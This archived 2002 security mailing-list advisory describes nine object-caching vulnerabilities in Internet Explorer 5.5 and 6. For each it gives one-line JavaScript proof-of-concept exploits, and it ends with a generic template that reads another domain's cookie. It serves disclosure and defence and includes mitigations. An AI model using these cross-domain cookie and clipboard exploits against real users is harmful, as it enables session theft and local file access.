

[NT] Vulnerable Cached Objects in IE (9 advisories in 1)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-10/0105.html>

From: support@securiteam.com

Date: 10/22/02

From: support@securiteam.com

To: list@securiteam.com

Date: 22 Oct 2002 18:12:03 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

Vulnerable Cached Objects in IE (9 advisories in 1)

SUMMARY

When communicating between windows, security checks ensure that both pages are in the same security zone and on the same domain. These crucial security checks wrongly assume that certain methods and objects are only going to be called through their respective window. This assumption enables some cached methods and objects to provide interoperability between otherwise separated documents.

Many security issues arise from storing references to objects that are supposed to be inaccessible when the page unloads. PivX lately disclosed such an issue in the element, which left a valid reference in its "object" property.

DETAILS

Affected applications:

Microsoft Internet Explorer 5.5 and 6.0; prior versions and IE6 SP1 are not vulnerable.

Note that any other application that uses Internet Explorer's engine (WebBrowser control) is affected as well (AOL Browser, MSN Explorer, etc.).

Securiteam: [NT] Vulnerable Cached Objects in IE (9 advisories in 1)

Details:

Through exhaustive research, GreyMagic Security discovered nine vulnerabilities in Internet Explorer involving object caching, most of them highly critical. GreyMagic Security has grouped all of these vulnerabilities into this advisory in order to avoid a flood and repetitive statements.

Object caching takes place when the attacker opens a window to a page in his own site. The URL in the window is then changed to the victim page, but the cached references stay in place, providing direct access to the new document.

All nine vulnerabilities are of the same general class (object caching). However, each of them is a separate vulnerability, which uses a unique method for exploitation.

Each item in the list below consists of three parts, "Cache" shows how to cache the vulnerable object, "Exploit" shows how the vulnerability works in context and "Impact" details the implications of the vulnerability.

"Full access" means access to any page's Document Object Model in any domain and any zone. The implications include (but not limited to) reading cookies from any domain, forging content in any URL, reading local files and executing arbitrary programs.

* showModalDialog

Cache: var fVuln=oWin.showModalDialog;

Exploit – IE 5.5:

```
fVuln("javascript:alert(dialogArguments.document.cookie)",oWin,"");
```

Exploit – IE 6: Not trivial but possible, by using our old "analyze.dlg" vulnerability.

Impact: Full access in IE5.5, "My Computer" zone access in IE6.

external

Cache: var oVuln=oWin.external;

```
Exploit: oVuln.NavigateAndFind("javascript:alert(document.cookie)", "", "");
```

Impact: Full access.

createRange

Cache: var fVuln=oWin.document.selection.createRange;

```
Exploit: fVuln().pasteHTML("<img  
src=\"javascript:alert(document.cookie)\">");
```

Impact: Full access.

elementFromPoint

Cache: var fVuln=oWin.document.elementFromPoint;

```
Exploit: alert(fVuln(1,1).document.cookie);
```

Impact: Full access.

getElementById

Cache: var fVuln=oWin.document.getElementById;

Securiteam: [NT] Vulnerable Cached Objects in IE (9 advisories in 1)

Exploit: alert(fVuln("ElementIdInNewDoc").document.cookie);
Impact: Full access.

getElementsByName

Cache: var fVuln=oWin.document.getElementsByName;
Exploit: alert(fVuln("ElementNameInNewDoc")[0].document.cookie);
Impact: Full access.

getElementsByTagName

Cache: var fVuln=oWin.document.getElementsByTagName;
Exploit: alert(fVuln("BODY")[0].document.cookie);
Impact: Full access.

execCommand

Cache: var fVuln=oWin.document.execCommand;
Exploit: fVuln("SelectAll"); fVuln("Copy");
alert(clipboardData.getData("text"));
Impact: Read access to the loaded document.

clipboardData

Cache: var oVuln=oWin.clipboardData;
Exploit: alert(oVuln.getData("text")); or oVuln.setData("text","data");
Impact: Read/write access to the clipboard, regardless of settings.

IE 5 SP2 and IE6 SP1 are not vulnerable.

Exploit:

This generic exploit demonstrates how an attacker may read the client's "google.com" cookie using one of the cached objects above.

```
<script language="javascript">
var oWin=open("blank.html","victim","width=100,height=100");
[Cache line here]
location.href="http://google.com";
setTimeout(
    function () {
        [Exploit line(s) here]
    },
    3000
);
</script>
```

Solution:

Until a patch becomes available either disable Active Scripting or upgrade to IE6 SP1.

ADDITIONAL INFORMATION

The original can be downloaded by going to:

<http://sec.greymagic.com/adv/gm012-ie/>
<http://sec.greymagic.com/adv/gm012-ie/>

Securiteam: [NT] Vulnerable Cached Objects in IE (9 advisories in 1)

The information has been provided by <mailto:security@greymagic.com>
GreyMagic Software.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[TOOL] NTAL, Network Traffic Analyzer"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)